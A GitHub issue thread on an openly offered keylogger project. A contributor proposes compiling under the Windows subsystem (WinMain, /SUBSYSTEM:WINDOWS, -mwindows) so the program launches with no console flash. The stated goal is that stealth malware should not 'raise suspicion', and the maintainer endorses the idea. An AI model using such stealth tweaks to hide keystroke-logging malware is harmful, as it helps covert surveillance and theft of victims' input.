GiacomoLaw / Keylogger

A simple keylogger for Windows, Linux and Mac
https://simple-keylogger.github.io/
MIT License
2.06k stars 617 forks source link

Consider Using Windows Subsystem #28

Open 93aef0ce4dd141ece6f5 opened 7 years ago

93aef0ce4dd141ece6f5 commented 7 years ago

Problem

I believe that this is built under the console subsystem which relies on the method of using ShowWindow to hide the console window (correct me if I'm wrong). The issue is that it will flash the console on execution and is therefore not an elegant solution.

My Proposal

Build and compile the code under the Windows subsystem and entirely move away from the use of a console. This change renders the Stealth function and #define (in)visible obsolete.

Adjustments

Microsoft Visual C++: Change: int main() to: int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShow)

For UNICODE, use: int wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nShow)

Create project under Win32 Project or change the SubSystem setting to Windows (/SUBSYSTEM:WINDOWS) under Properties -> Linker -> System.

GCC/G++: Build using the -mwindows flag. The above steps are optional.

If visibility is desired, use:

#include <cstdio>

...

AllocConsole();
AttachConsole(GetCurrentProcessId());
freopen("CON", "w", stdout);

...

FreeConsole();
GiacomoLaw commented 7 years ago

I like the way it is - however, I am open to improvements. With the console flashing on startup, it does occur in the pcs I have used in my experience, but I'm not sure if it is standard.

Do you have any other advantages of using it along with the console flash?

Thanks for the awesomely structured pr! 😄

93aef0ce4dd141ece6f5 commented 7 years ago

Not that I can think of, no. The reason why I proposed this is because keyloggers are stealth malware and having the console flash may raise suspicion against it. Perhaps someone who might use it would prefer no console flash but if you're fine with the way it currently is, then so be it.

GiacomoLaw commented 11 months ago

Coming back to this, this is a great issue - would appreciate a PR implementing it :D